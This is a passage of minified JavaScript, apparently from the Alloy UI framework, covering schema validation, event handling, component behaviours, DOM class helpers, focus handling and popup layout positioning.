t=o,e=r,Kn(n,function(){return'The chosen schema: "'+e+'" did not exist in branches: '+qn(t)});var t,e},function(t){return t.extract(n.concat(["branch: "+r]),e)});var n,e,o,r})},toString:function(){return"chooseOn("+e+"). Possible values: "+Ct(a)}}}function io(e){return Jn(function(t){return e(t).fold(zo,Lo)})}function uo(e,t){return r=function(t){return e(t).fold(Hn,Vn)},i=t,{extract:function(n,o){var t=Ct(o),e=eo(Jn(r)).extract(n,t);return Uo(e,function(t){var e=B(t,function(t){return Ln(t,t,jn(),i)});return $o(e).extract(n,o)})},toString:function(){return"setOf("+i.toString()+")"}};var r,i}function ao(t,e,n){return Ho((r=e.extract([t],o=n),Go(r,function(t){return{input:o,errors:t}})));var o,r}function co(t){return t.fold(function(t){throw new Error(ur(t))},h)}function so(t,e,n){return co(ao(t,e,n))}function lo(t,e){return ro(t,dt(e,$o))}function fo(e){return io(function(t){return wt(e,t)?Nn.value(t):Nn.error('Unsupported value: "'+t+'", choose one of "'+e.join(", ")+'".')})}function mo(t){return ar(t,t,jn(),Zo())}function go(t,e){return ar(t,t,jn(),e)}function po(t){return go(t,er)}function ho(t,e){return ar(t,t,jn(),fo(e))}function vo(t){return go(t,or)}function bo(t,e){return ar(t,t,jn(),$o(e))}function yo(t,e){return ar(t,t,jn(),Qo(e))}function xo(t,e){return ar(t,t,jn(),eo(e))}function wo(t){return ar(t,t,Xn(),Zo())}function So(t,e){return ar(t,t,Xn(),e)}function ko(t){return So(t,tr)}function Co(t){return So(t,er)}function Oo(t){return So(t,or)}function _o(t,e){return So(t,eo(e))}function To(t,e){return So(t,$o(e))}function Eo(t,e){return ar(t,t,Gn(e),Zo())}function Do(t,e,n){return ar(t,t,Gn(e),n)}function Ao(t,e){return Do(t,e,tr)}function Bo(t,e){return Do(t,e,er)}function Mo(t,e,n){return Do(t,e,fo(n))}function Fo(t,e){return Do(t,e,nr)}function Io(t,e){return Do(t,e,or)}function Ro(t,e,n){return Do(t,e,eo(n))}function No(t,e,n){return Do(t,e,$o(n))}function Po(t){var e=t;return{get:function(){return e},set:function(t){e=t}}}(We=je={})[We.Error=0]="Error",We[We.Value=1]="Value";function Vo(u){if(!c(u))throw new Error("cases must be an array");if(0===u.length)throw new Error("there must be at least one case");var a=[],n={};return St(u,function(t,o){var e=Ct(t);if(1!==e.length)throw new Error("one and only one name per case");var r=e[0],i=t[r];if(void 0!==n[r])throw new Error("duplicate key detected:"+r);if("cata"===r)throw new Error("cannot have a case named cata (sorry)");if(!c(i))throw new Error("case arguments must be an array");a.push(r),n[r]=function(){for(var n=[],t=0;t<arguments.length;t++)n[t]=arguments[t];var e=n.length;if(e!==i.length)throw new Error("Wrong number of arguments to case "+r+". Expected "+i.length+" ("+i+"), got "+e);return{fold:function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];if(t.length!==u.length)throw new Error("Wrong number of arguments to fold. Expected "+u.length+", got "+t.length);return t[o].apply(null,n)},match:function(t){var e=Ct(t);if(a.length!==e.length)throw new Error("Wrong number of arguments to match. Expected: "+a.join(",")+"\nActual: "+e.join(","));if(!L(a,function(t){return wt(e,t)}))throw new Error("Not all branches were specified when using match. Specified: "+e.join(", ")+"\nRequired: "+a.join(", "));return t[r].apply(null,n)},log:function(t){console.log(t,{constructors:a,constructor:r,params:n})}}}}),n}var Ho=function(t){return Pn(t,Nn.error,Nn.value)},Lo=Vn,zo=Hn,Uo=function(t,e){return t.stype===je.Value?e(t.svalue):t},jo=function(t,e){return t.stype===je.Error?e(t.serror):t},Wo=function(t,e){return t.stype===je.Value?{stype:je.Value,svalue:e(t.svalue)}:t},Go=function(t,e){return t.stype===je.Error?{stype:je.Error,serror:e(t.serror)}:t},Xo=Pn,Yo=Un(function(t,e){return x(t)&&x(e)?Yo(t,e):e}),qo=Un(function(t,e){return e}),Ko=function(t){var e,n,o=(e=[],n=[],St(t,function(t){Pn(t,function(t){return n.push(t)},function(t){return e.push(t)})}),{values:e,errors:n});return 0<o.errors.length?r(zo,ft)(o.errors):Lo(o.values)},Jo=Jn(Lo),$o=function(n){return{extract:function(i,u){for(var a={},c=[],t=0,e=n;t<e.length;t++)zn(e[t],function(t,e,n,o){var r=Qn(n,i,u,t,o);Xo(r,function(t){c.push.apply(c,t)},function(t){a[e]=t})},function(t,e){a[t]=e(u)});return 0<c.length?zo(c):Lo(a)},toString:function(){return"obj{\n"+B(n,function(t){return zn(t,function(t,e,n,o){return t+" -> "+o.toString()},function(t,e){return"state("+t+")"})}).join("\n")+"}"}}},Qo=r(eo,$o),Zo=rt(Jo),tr=oo(u,"number"),er=oo(y,"string"),nr=oo(w,"boolean"),or=oo(S,"function"),rr=function(e){if(Object(e)!==e)return!0;switch({}.toString.call(e).slice(8,-1)){case"Boolean":case"Number":case"String":case"Date":case"RegExp":case"Blob":case"FileList":case"ImageData":case"ImageBitmap":case"ArrayBuffer":return!0;case"Array":case"Object":return Object.keys(e).every(function(t){return rr(e[t])});default:return!1}},ir=Jn(function(t){return rr(t)?Lo(t):zo("Expected value to be acceptable for sending via postMessage")}),ur=function(t){return"Errors: \n"+B(10<(e=t.errors).length?e.slice(0,10).concat([{path:[],getErrorInfo:rt("... (only showing first ten failures)")}]):e,function(t){return"Failed path: ("+t.path.join(" > ")+")\n"+t.getErrorInfo()}).join("\n")+"\n\nInput object: "+qn(t.input);var e},ar=Ln,cr=function(t,e){return{tag:"custom",newKey:t,instantiator:e}};function sr(t,e){return(n={})[t]=e,n;var n}function lr(t){return e={},St(t,function(t){e[t.key]=t.value}),e;var e}function fr(t){return S(t)?t:T}function dr(t,e,n){for(var o=t.dom,r=fr(n);o.parentNode;){var o=o.parentNode,i=Mt.fromDom(o),u=e(i);if(u.isSome())return u;if(r(i))break}return vt.none()}function mr(t,e,n){var o=e(t),r=fr(n);return o.orThunk(function(){return r(t)?vt.none():dr(t,e,r)})}function gr(t,e){return zt(t.element,e.event.target)}function pr(t){if(!et(t,"can")&&!et(t,"abort")&&!et(t,"run"))throw new Error("EventHandler defined by: "+JSON.stringify(t,null,2)+" does not have can, abort, or run!");return lt(lt({},ai),t)}function hr(t){return rt("alloy."+t)}function vr(t,e){eu(t,t.element,e,{})}function br(t,e,n){eu(t,t.element,e,n)}function yr(t){vr(t,Ii())}function xr(t,e,n){eu(t,e,n,{})}function wr(t,e,n,o){t.getSystem().triggerEvent(n,e,o.event)}function Sr(t,e){return{key:t,value:pr({abort:e})}}function kr(t){return{key:t,value:pr({run:function(t,e){e.event.prevent()}})}}function Cr(t,e){return{key:t,value:pr({run:e})}}function Or(t,n,o){return{key:t,value:pr({run:function(t,e){n.apply(void 0,[t,e].concat(o))}})}}function _r(t){return function(n){return{key:t,value:pr({run:function(t,e){gr(t,e)&&n(t,e)}})}}}function Tr(t,e,n){var o,r=e.partUids[n];return Cr(o=t,function(t,e){t.getSystem().getByUid(r).each(function(t){wr(t,t.element,o,e)})})}function Er(t,r){return Cr(t,function(e,t){var n=t.event,o=e.getSystem().getByDom(n.target).getOrThunk(function(){return mr(n.target,function(t){return e.getSystem().getByDom(t).toOptional()},T).getOr(e)});r(e,o,t)})}function Dr(t){return Cr(t,function(t,e){e.cut()})}function Ar(t,e){return _r(t)(e)}function Br(t){return t.dom.innerHTML}function Mr(t,e){var n,o,r=jt(t).dom,i=Mt.fromDom(r.createDocumentFragment());Be(i,(n=e,(o=(r||document).createElement("div")).innerHTML=n,Kt(Mt.fromDom(o)))),Me(t),Tn(t,i)}function Fr(t){if(Zt(t))return"#shadow-root";var e=Mt.fromDom(t.dom.cloneNode(!1)),n=Mt.fromTag("div"),o=Mt.fromDom(e.dom.cloneNode(!0));return Tn(n,o),Br(n)}function Ir(t){var e=(new Date).getTime();return t+"_"+Math.floor(1e9*Math.random())+ ++su+String(e)}function Rr(t){var e=Ge(t)?t.dom[mu]:null;return vt.from(e)}function Nr(e){function n(t){return"The component must be in a context to execute: "+t+(e?"\n"+Fr(e().element)+" is not in context.":"")}function t(t){return function(){throw new Error(n(t))}}function o(t){return function(){console.warn(n(t))}}return{debugInfo:rt("fake"),triggerEvent:o("triggerEvent"),triggerFocus:o("triggerFocus"),triggerEscape:o("triggerEscape"),broadcast:o("broadcast"),broadcastOn:o("broadcastOn"),broadcastEvent:o("broadcastEvent"),build:t("build"),addToWorld:t("addToWorld"),removeFromWorld:t("removeFromWorld"),addToGui:t("addToGui"),removeFromGui:t("removeFromGui"),getByUid:t("getByUid"),getByDom:t("getByDom"),isConnected:T}}function Pr(t,e){var n=t.toString(),o=n.indexOf(")")+1,r=n.indexOf("("),i=n.substring(r+1,o-1).split(/,\s*/);return t.toFunctionAnnotation=function(){return{name:e,parameters:bu(i)}},t}function Vr(t){return sr(yu,t)}function Hr(o){return t=function(t){for(var e=[],n=1;n<arguments.length;n++)e[n-1]=arguments[n];return o.apply(void 0,V([t.getApis(),t],e,!1))},n=(e=o.toString()).indexOf(")")+1,r=e.indexOf("("),i=e.substring(r+1,n-1).split(/,\s*/),t.toFunctionAnnotation=function(){return{name:"OVERRIDE",parameters:bu(i.slice(1))}},t;var t,e,n,r,i}function Lr(t,r){var i={};return J(t,function(t,o){J(t,function(t,e){var n=tt(i,e).getOr([]);i[e]=n.concat([r(o,t)])})}),i}function zr(t){return{classes:E(t.classes)?[]:t.classes,attributes:E(t.attributes)?{}:t.attributes,styles:E(t.styles)?{}:t.styles}}function Ur(t){return t.cHandler}function jr(t,e){return{name:t,handler:e}}function Wr(t,e,n){var o=e[n];return o?function(u,t,a){try{var e=G(t,function(t,e){var n=t.name,o=e.name,r=a.indexOf(n),i=a.indexOf(o);if(-1===r)throw new Error("The ordering for "+u+" does not have an entry for "+n+".\nOrder specified: "+JSON.stringify(a,null,2));if(-1===i)throw new Error("The ordering for "+u+" does not have an entry for "+o+".\nOrder specified: "+JSON.stringify(a,null,2));return r<i?-1:i<r?1:0});return Nn.value(e)}catch(t){return Nn.error([t])}}("Event: "+n,t,o).map(function(t){var n,e,o,r,i=B(t,function(t){return t.handler});return{can:function(){for(var n=[],t=0;t<arguments.length;t++)n[t]=arguments[t];return R(e,function(t,e){return t&&e.can.apply(void 0,n)},!0)},abort:(o=e=n=i,r=function(t){return t.abort},function(){for(var n=[],t=0;t<arguments.length;t++)n[t]=arguments[t];return R(o,function(t,e){return t||r(e).apply(void 0,n)},!1)}),run:function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];St(n,function(t){t.run.apply(void 0,e)})}}}):Nn.error(["The event ("+n+') has more than one behaviour that listens to it.\nWhen this occurs, you must specify an event ordering for the behaviours in your spec (e.g. [ "listing", "toggling" ]).\nThe behaviours that can trigger it are: '+JSON.stringify(B(t,function(t){return t.name}),null,2)])}function Gr(t,e){var n=ie(t,e);return void 0===n||""===n?[]:n.split(" ")}function Xr(t){return void 0!==t.dom.classList}function Yr(t,e){var n,o,r;Xr(t)?t.dom.classList.add(e):(o=e,r=Gr(n=t,"class").concat([o]),oe(n,"class",r.join(" ")))}function qr(t,e){var n,o,r,i;Xr(t)?t.dom.classList.remove(e):(r=e,0<(i=F(Gr(o=t,"class"),function(t){return t!==r})).length?oe(o,"class",i.join(" ")):ce(o,"class")),0===(Xr(n=t)?n.dom.classList:Gr(n,"class")).length&&ce(n,"class")}function Kr(t,e){return Xr(t)&&t.dom.classList.contains(e)}function Jr(e,t){St(t,function(t){Yr(e,t)})}function $r(e,t){St(t,function(t){qr(e,t)})}function Qr(t){return t.dom.value}function Zr(t,e){if(void 0===e)throw new Error("Value.set was undefined");t.dom.value=e}function ti(t){var n,e,o,r,i=(n=tt(t,"behaviours").getOr({}),H(Ct(n),function(t){var e=n[t];return k(e)?[e.me]:[]}));return e=t,r=B(o=i,function(t){return To(t.name(),[mo("config"),Eo("state",xu)])}),{list:o,data:dt(ao("component.behaviours",$o(r),e.behaviours).fold(function(t){throw new Error(ur(t)+"\nComplete spec:\n"+JSON.stringify(e,null,2))},h),function(t){return rt(t.map(function(t){return{config:t.config,state:t.state.init(t.config)}}))})}}function ei(t,e,n){var o,r,i=lt(lt({},(o=t).dom),{uid:o.uid,domChildren:B(o.components,function(t){return t.element})}),u=t.domModification.fold(function(){return zr({})},zr),a=0<e.length?function(e,t,n,o){var r=lt({},t);function i(t){return I(t,function(t,e){return lt(lt({},e.modification),t)},{})}St(n,function(t){r[t.name()]=t.exhibit(e,o)});var u=Lr(r,function(t,e){return{name:t,modification:e}});return zr({classes:I(u.classes,function(t,e){return e.modification.concat(t)},[]),attributes:i(u.attributes),styles:i(u.styles)})}(n,{"alloy.base.modification":u},e,i):u;return lt(lt({},r=i),{attributes:lt(lt({},r.attributes),a.attributes),styles:lt(lt({},r.styles),a.styles),classes:r.classes.concat(a.classes)})}function ni(t,e,n){var o,r,i,u,a,c={"alloy.base.behaviour":t.events},s=t.eventOrder;return r=n,i=e,o=Lr(lt(lt({},c),(u=r,a={},St(i,function(t){a[t.name()]=t.handlers(u)}),a)),jr),Su(o,s).getOrDie()}function oi(t){var n,e,o,r,i,u,a,c,s,l,f=hu(t),d=f.events,m=A(f,["events"]),g=B(tt(m,"components").getOr([]),Tu),p=lt(lt({},m),{events:lt(lt({},cu),d),components:g});return Nn.value((e=Po(vu),o=co(ao("custom.definition",Cu,n=p)),r=ti(n),i=r.list,u=r.data,a=function(t){var e=Mt.fromTag(t.tag);re(e,t.attributes),Jr(e,t.classes),de(e,t.styles),t.innerHtml.each(function(t){return Mr(e,t)});var n=t.domChildren;return Be(e,n),t.value.each(function(t){Zr(e,t)}),t.uid,gu(e,t.uid),e}(ei(o,i,u)),c=ni(o,i,u),s=Po(o.components),l={uid:n.uid,getSystem:e.get,config:function(t){var e=u;return(S(e[t.name()])?e[t.name()]:function(){throw new Error("Could not find "+t.name()+" in "+JSON.stringify(n,null,2))})()},hasConfigured:function(t){return S(u[t.name()])},spec:n,readState:function(t){return u[t]().map(function(t){return t.state.readState()}).getOr("not enabled")},getApis:function(){return o.apis},connect:function(t){e.set(t)},disconnect:function(){e.set(Nr(h))},element:a,syncComponents:function(){var t=H(Kt(a),function(t){return e.get().getByDom(t).fold(function(){return[]},W)});s.set(t)},components:s.get,events:c}));function h(){return l}}function ri(t){var e=Mt.fromText(t);return Ou({element:e})}Vo([{bothErrors:["error1","error2"]},{firstError:["error1","value2"]},{secondError:["value1","error2"]},{bothValues:["value1","value2"]}]);var ii,ui,ai={can:D,abort:T,run:st},ci=rt,si=ci("touchstart"),li=ci("touchmove"),fi=ci("touchend"),di=ci("touchcancel"),mi=ci("mousedown"),gi=ci("mousemove"),pi=ci("mouseout"),hi=ci("mouseup"),vi=ci("mouseover"),bi=ci("focusin"),yi=ci("focusout"),xi=ci("keydown"),wi=ci("keyup"),Si=ci("input"),ki=ci("change"),Ci=ci("click"),Oi=ci("transitioncancel"),_i=ci("transitionend"),Ti=ci("transitionstart"),Ei=ci("selectstart"),Di={tap:hr("tap")},Ai=hr("focus"),Bi=hr("blur.post"),Mi=hr("paste.post"),Fi=hr("receive"),Ii=hr("execute"),Ri=hr("focus.item"),Ni=Di.tap,Pi=hr("longpress"),Vi=hr("sandbox.close"),Hi=hr("typeahead.cancel"),Li=hr("system.init"),zi=hr("system.touchmove"),Ui=hr("system.touchend"),ji=hr("system.scroll"),Wi=hr("system.resize"),Gi=hr("system.attached"),Xi=hr("system.detached"),Yi=hr("system.dismissRequested"),qi=hr("system.repositionRequested"),Ki=hr("focusmanager.shifted"),Ji=hr("slotcontainer.visibility"),$i=hr("change.tab"),Qi=hr("dismiss.tab"),Zi=hr("highlight"),tu=hr("dehighlight"),eu=function(t,e,n,o){var r=lt({target:e},o);t.getSystem().triggerEvent(n,e,r)},nu=lr,ou=_r(Gi()),ru=_r(Xi()),iu=_r(Li()),uu=(ii=Ii(),function(t){return Cr(ii,t)}),au=nu([{key:Ai(),value:pr({can:function(t,e){var n,o=e.event,r=o.originator,i=o.target;return!(zt(n=r,t.element)&&!zt(n,i)&&(console.warn(Ai()+" did not get interpreted by the desired target. \nOriginator: "+Fr(r)+"\nTarget: "+Fr(i)+"\nCheck the "+Ai()+" event handlers"),1))}})}]),cu=Object.freeze({__proto__:null,events:au}),su=0,lu=rt("alloy-id-"),fu=rt("data-alloy-id"),du=lu(),mu=fu(),gu=function(t,e){Object.defineProperty(t.dom,mu,{value:e,writable:!0})},pu=Ir,hu=h,vu=Nr(),bu=function(t){return B(t,function(t){return At(t,"/*")?t.substring(0,t.length-"/*".length):t})},yu=Ir("alloy-premade"),xu={init:function(){return wu({readState:rt("No State required")})}},wu=function(t){return t},Su=function(t,a){var e,n,o,r,i,u,c=$(t,function(r,u){return(1===r.length?Nn.value(r[0].handler):Wr(r,a,u)).map(function(t){var e,i,n=(i=S(e=t)?{can:D,abort:T,run:e}:e,function(t,e){for(var n=[],o=2;o<arguments.length;o++)n[o-2]=arguments[o];var r=[t,e].concat(n);i.abort.apply(void 0,r)?e.stop():i.can.apply(void 0,r)&&i.run.apply(void 0,r)}),o=1<r.length?F(a[u],function(e){return d(r,function(t){return t.name===e})}).join(" > "):r[0].name;return sr(u,{handler:n,purpose:o})})});return e={},n=[],o=[],St(c,function(t){t.fold(function(t){n.push(t)},function(t){o.push(t)})}),0<(u={errors:n,values:o}).errors.length?Nn.error(ft(u.errors)):(i=e,0===(r=u.values).length?Nn.value(i):Nn.value(Yo(i,qo.apply(void 0,r))))},ku="alloy.base.behaviour",Cu=$o([ar("dom","dom",jn(),$o([mo("tag"),Eo("styles",{}),Eo("classes",[]),Eo("attributes",{}),wo("value"),wo("innerHtml")])),mo("components"),mo("uid"),Eo("events",{}),Eo("apis",{}),ar("eventOrder","eventOrder",((ui={})[Ii()]=["disabling",ku,"toggling","typeaheadevents"],ui[Ai()]=[ku,"focusing","keying"],ui[Li()]=[ku,"disabling","toggling","representing"],ui[Si()]=[ku,"representing","streaming","invalidating"],ui[Xi()]=[ku,"representing","item-events","tooltipping"],ui[mi()]=["focusing",ku,"item-type-events"],ui[si()]=["focusing",ku,"item-type-events"],ui[vi()]=["item-type-events","tooltipping"],ui[Fi()]=["receiving","reflecting","tooltipping"],Yn(rt(ui))),Zo()),wo("domModification")]),Ou=function(t){var e=so("external.component",to([mo("element"),wo("uid")]),t),n=Po(Nr()),o=e.uid.getOrThunk(function(){return pu("external")});gu(e.element,o);var r={uid:o,getSystem:n.get,config:vt.none,hasConfigured:T,connect:function(t){n.set(t)},disconnect:function(){n.set(Nr(function(){return r}))},getApis:function(){return{}},element:e.element,spec:t,readState:rt("No state"),syncComponents:st,components:rt([]),events:{}};return Vr(r)},_u=pu,Tu=function(t){return tt(t,yu).getOrThunk(function(){return oi(Tt(t,"uid")?t:lt({uid:_u("")},t)).getOrDie()})},Eu=Vr;function Du(t,e,n,o,r){return t(n,o)?vt.some(n):S(r)&&r(n)?vt.none():e(n,o,r)}function Au(t,e,n){for(var o=t.dom,r=S(n)?n:T;o.parentNode;){var o=o.parentNode,i=Mt.fromDom(o);if(e(i))return vt.some(i);if(r(i))break}return vt.none()}function Bu(t,e,n){return Du(function(t,e){return e(t)},Au,t,e,n)}function Mu(t,e,n){return Bu(t,e,n).isSome()}function Fu(t,e,n){return Au(t,function(t){return Ht(t,e)},n)}function Iu(t,e){return n=e,Lt(o=void 0===t?document:t.dom)?vt.none():vt.from(o.querySelector(n)).map(Mt.fromDom);var n,o}function Ru(t,e,n){return Du(Ht,Fu,t,e,n)}function Nu(){var e=Ir("aria-owns");return{id:e,link:function(t){oe(t,"aria-owns",e)},unlink:function(t){ce(t,"aria-owns")}}}var Pu,Vu,Hu=function(e,t){return Mu(t,function(t){return zt(t,e.element)},T)||(n=e,Bu(t,function(t){if(!Ge(t))return!1;var e=ie(t,"id");return void 0!==e&&-1<e.indexOf("aria-owns")}).bind(function(t){var e=ie(t,"id");return Iu(gn(t),'[aria-owns="'+e+'"]')}).exists(function(t){return Hu(n,t)}));var n},Lu="unknown";function zu(e,t,n){var o,r,i,u;switch(tt(Uu.get(),e).orThunk(function(){return K(Ct(Uu.get()),function(t){return-1<e.indexOf(t)?vt.some(Uu.get()[t]):vt.none()})}).getOr(Pu.NORMAL)){case Pu.NORMAL:return n(Wu());case Pu.LOGGING:var a=(o=e,r=t,i=[],u=(new Date).getTime(),{logEventCut:function(t,e,n){i.push({outcome:"cut",target:e,purpose:n})},logEventStopped:function(t,e,n){i.push({outcome:"stopped",target:e,purpose:n})},logNoParent:function(t,e,n){i.push({outcome:"no-parent",target:e,purpose:n})},logEventNoHandlers:function(t,e){i.push({outcome:"no-handlers-left",target:e})},logEventResponse:function(t,e,n){i.push({outcome:"response",purpose:n,target:e})},write:function(){var t=(new Date).getTime();wt(["mousemove","mouseover","mouseout",Li()],o)||console.log(o,{event:o,time:t-u,target:r.dom,sequence:B(i,function(t){return wt(["cut","stopped","response"],t.outcome)?"{"+t.purpose+"} "+t.outcome+" at ("+Fr(t.target)+")":t.outcome})})}}),c=n(a);return a.write(),c;case Pu.STOP:return!0}}(Vu=Pu=Pu||{})[Vu.STOP=0]="STOP",Vu[Vu.NORMAL=1]="NORMAL",Vu[Vu.LOGGING=2]="LOGGING";var Uu=Po({}),ju=["alloy/data/Fields","alloy/debugging/Debugging"],Wu=rt({logEventCut:st,logEventStopped:st,logNoParent:st,logEventNoHandlers:st,logEventResponse:st,write:st}),Gu=rt([mo("menu"),mo("selectedMenu")]),Xu=rt([mo("item"),mo("selectedItem")]);function Yu(){return bo("markers",[mo("backgroundMenu")].concat(Gu()).concat(Xu()))}function qu(t){return bo("markers",B(t,mo))}function Ku(t,e,n){return void 0!==(o=new Error).stack&&N(o.stack.split("\n"),function(e){return 0<e.indexOf("alloy")&&!d(ju,function(t){return-1<e.indexOf(t)})}).getOr(Lu),ar(e,e,n,io(function(n){return Nn.value(function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return n.apply(void 0,t)})}));var o}function Ju(t){return Ku(0,t,Gn(st))}function $u(t){return Ku(0,t,Gn(vt.none))}function Qu(t){return Ku(0,t,jn())}function Zu(t){return Ku(0,t,jn())}function ta(t,e){return cr(t,rt(e))}function ea(t){return cr(t,h)}function na(t,e,n,o,r,i,u,a){return{x:t,y:e,bubble:n,direction:o,placement:r,restriction:i,label:u+"-"+r,alwaysFit:a=void 0!==a&&a}}function oa(t,e,n,o){var r=t+e;return o<r?n:r<n?o:r}function ra(n,e){return j(["left","right","top","bottom"],function(t){return tt(e,t).map(function(e){return function(t){switch(e){case 1:return t.x;case 0:return t.x+t.width;case 2:return t.y;case 3:return t.y+t.height}}(n)})})}function ia(t,e){return t.x+t.width/2-e.width/2}function ua(t,e){return t.x+t.width-e.width}function aa(t,e){return t.y-e.height}function ca(t){return t.y+t.height}function sa(t,e){return t.y+t.height/2-e.height/2}function la(t,e,n){return na(t.x+t.width,sa(t,e),n.east(),Ua(),"east",ra(t,{left:0}),Ga)}function fa(t,e,n){return na(t.x-e.width,sa(t,e),n.west(),ja(),"west",ra(t,{right:1}),Ga)}function da(){return[Xa,Ya,qa,Ka,$a,Ja,la,fa]}function ma(){return[Ya,Xa,Ka,qa,$a,Ja,la,fa]}function ga(){return[qa,Ka,Xa,Ya,Ja,$a]}function pa(){return[Ka,qa,Ya,Xa,Ja,$a]}function ha(){return[Xa,Ya,qa,Ka,$a,Ja]}function va(){return[Ya,Xa,Ka,qa,$a,Ja]}function ba(n,o,r){return iu(function(t,e){r(t,n,o)})}function ya(t){return{key:t,value:void 0}}function xa(t){var e,n,o,r,i,u,a,c,s=so("Creating behaviour: "+t.name,nc,t);return e=s.fields,n=s.name,o=s.active,r=s.apis,i=s.extra,u=s.state,a=to(e),c=To(n,[So("config",to(e))]),tc(a,c,n,o,r,i,u)}function wa(t){var e,n=so("Creating behaviour: "+t.name,oc,t),o=lo(n.branchKey,n.branches),r=n.name,i=n.active,u=n.apis,a=n.extra,c=n.state,s=To(r,[So("config",e=o)]);return tc(e,s,r,i,u,a,c)}function Sa(){return Mt.fromDom(document)}function ka(t){return t.dom.focus()}function Ca(t){var e=gn(t).dom;return t.dom===e.activeElement}function Oa(t){return void 0===t&&(t=Sa()),vt.from(t.dom.activeElement).map(Mt.fromDom)}function _a(e){return Oa(gn(e)).filter(function(t){return e.dom.contains(t.dom)})}function Ta(t,n){var o=gn(n),e=Oa(o).bind(function(e){function t(t){return zt(e,t)}var r,i;return t(n)?vt.some(n):(r=t,(i=function(t){for(var e=0;e<t.childNodes.length;e++){var n=Mt.fromDom(t.childNodes[e]);if(r(n))return vt.some(n);var o=i(t.childNodes[e]);if(o.isSome())return o}return vt.none()})(n.dom))}),r=t(n);return e.each(function(e){Oa(o).filter(function(t){return zt(t,e)}).fold(function(){ka(e)},st)}),r}function Ea(t,e,n,o,r){function i(t){return t+"px"}return{position:t,left:e.map(i),top:n.map(i),right:o.map(i),bottom:r.map(i)}}function Da(t,e){var n;me(t,lt(lt({},n=e),{position:vt.some(n.position)}))}function Aa(t,e,n,o,r,i){var u=e.rect,a=u.x-n,c=u.y-o,s=r-(a+u.width),l=i-(c+u.height),f=vt.some(a),d=vt.some(c),m=vt.some(s),g=vt.some(l),p=vt.none();return e.direction.fold(function(){return Ea(t,f,d,p,p)},function(){return Ea(t,p,d,m,p)},function(){return Ea(t,f,p,p,g)},function(){return Ea(t,p,p,m,g)},function(){return Ea(t,f,d,p,p)},function(){return Ea(t,f,p,p,g)},function(){return Ea(t,f,d,p,p)},function(){return Ea(t,p,d,m,p)})}function Ba(t,r){return t.fold(function(){var t=r.rect;return Ea("absolute",vt.some(t.x),vt.some(t.y),vt.none(),vt.none())},function(t,e,n,o){return Aa("absolute",r,t,e,n,o)},function(t,e,n,o){return Aa("fixed",r,t,e,n,o)})}function Ma(t,e){var n=C(Ve,e),o=t.fold(n,n,function(){var t=Ie();return Ve(e).translate(-t.left,-t.top)}),r=Oe(e),i=we(e);return Bn(o.left,o.top,r,i)}rt($o(Xu().concat(Gu())));var Fa=rt($o(Xu())),Ia=rt(bo("initSize",[mo("numColumns"),mo("numRows")])),Ra=Vo([{southeast:[]},{southwest:[]},{northeast:[]},{northwest:[]},{south:[]},{north:[]},{east:[]},{west:[]}]),Na=Ra.southeast,Pa=Ra.southwest,Va=Ra.northeast,Ha=Ra.northwest,La=Ra.south,za=Ra.north,Ua=Ra.east,ja=Ra.west,Wa=function(t,e,n){return Math.min(Math.max(t,e),n)},Ga="layout",Xa=function(t,e,n){return na(t.x,ca(t),n.southeast(),Na(),"southeast",ra(t,{left:1,top:3}),Ga)},Ya=function(t,e,n){return na(ua(t,e),ca(t),n.southwest(),Pa(),"southwest",ra(t,{right:0,top:3}),Ga)},qa=function(t,e,n){return na(t.x,aa(t,e),n.northeast(),Va(),"northeast",ra(t,{left:1,bottom:2}),Ga)},Ka=function(t,e,n){return na(ua(t,e),aa(t,e),n.northwest(),Ha(),"northwest",ra(t,{right:0,bottom:2}),Ga)},Ja=function(t,e,n){return na(ia(t,e),aa(t,e),n.north(),za(),"north",ra(t,{bottom:2}),Ga)},$a=function(t,e,n){return na(ia(t,e),ca(t),n.south(),La(),"south",ra(t,{top:3}),Ga)},Qa=Object.freeze({__proto__:null,events:function(a){return nu([Cr(Fi(),function(r,t){var e,i=a.channels,n=Ct(i),u=t,o=(e=u).universal?n:F(n,function(t){return wt(e.channels,t)});St(o,function(t){var e=i[t],n=e.schema,o=so("channel["+t+"] data\nReceiver: "+Fr(r.element),n,u.data);e.onReceive(r,o)})})])}}),Za=[go("channels",uo(Nn.value,to([Qu("onReceive"),Eo("schema",Zo())])))],tc=function(n,t,f,e,o,r,i){function u(t){return et(t,f)?t[f]():vt.none()}var a=dt(o,function(t,e){return r=f,n=function(n){for(var t=[],e=1;e<arguments.length;e++)t[e-1]=arguments[e];var o=[n].concat(t);return n.config({name:rt(r)}).fold(function(){throw new Error("We could not find any behaviour configuration for: "+r+". Using API: "+u)},function(t){var e=Array.prototype.slice.call(o,1);return i.apply(void 0,[n,t.config,t.state].concat(e))})},o=u=e,a=(i=t).toString(),c=a.indexOf(")")+1,s=a.indexOf("("),l=a.substring(s+1,c-1).split(/,\s*/),n.toFunctionAnnotation=function(){return{name:o,parameters:bu(l.slice(0,1).concat(l.slice(3)))}},n;var r,i,u,n,o,a,c,s,l}),c=dt(r,Pr),s=lt(lt(lt({},c),a),{revoke:C(ya,f),config:function(t){var e=so(f+"-config",n,t);return{key:f,value:{config:e,me:s,configAsRaw:Rt(function(){return so(f+"-config",n,t)}),initialConfig:t,state:i}}},schema:rt(t),exhibit:function(t,n){return Et(u(t),tt(e,"exhibit"),function(t,e){return e(n,t.config,t.state)}).getOrThunk(function(){return zr({})})},name:rt(f),handlers:function(t){return u(t).map(function(t){return tt(e,"events").getOr(function(){return{}})(t.config,t.state)}).getOr({})}});return s},ec=lr,nc=to([mo("fields"),mo("name"),Eo("active",{}),Eo("apis",{}),Eo("state",xu),Eo("extra",{})]),oc=to([mo("branchKey"),mo("branches"),mo("name"),Eo("active",{}),Eo("apis",{}),Eo("state",xu),Eo("extra",{})]),rc=rt(void 0),ic=xa({fields:Za,name:"receiving",active:Qa}),uc=Object.freeze({__proto__:null,exhibit:function(t,e){return zr({classes:[],styles:e.useFixed()?{}:{position:"relative"}})}}),ac=Vo([{none:[]},{relative:["x","y","width","height"]},{fixed:["x","y","width","height"]}]),cc=function(t,e,n){var o=kn(e,n);return t.fold(rt(o),rt(o),function(){var t=Ie();return o.translate(-t.left,-t.top)})};function sc(t){return ue(t,Dc)}function lc(t,e,n,o){var 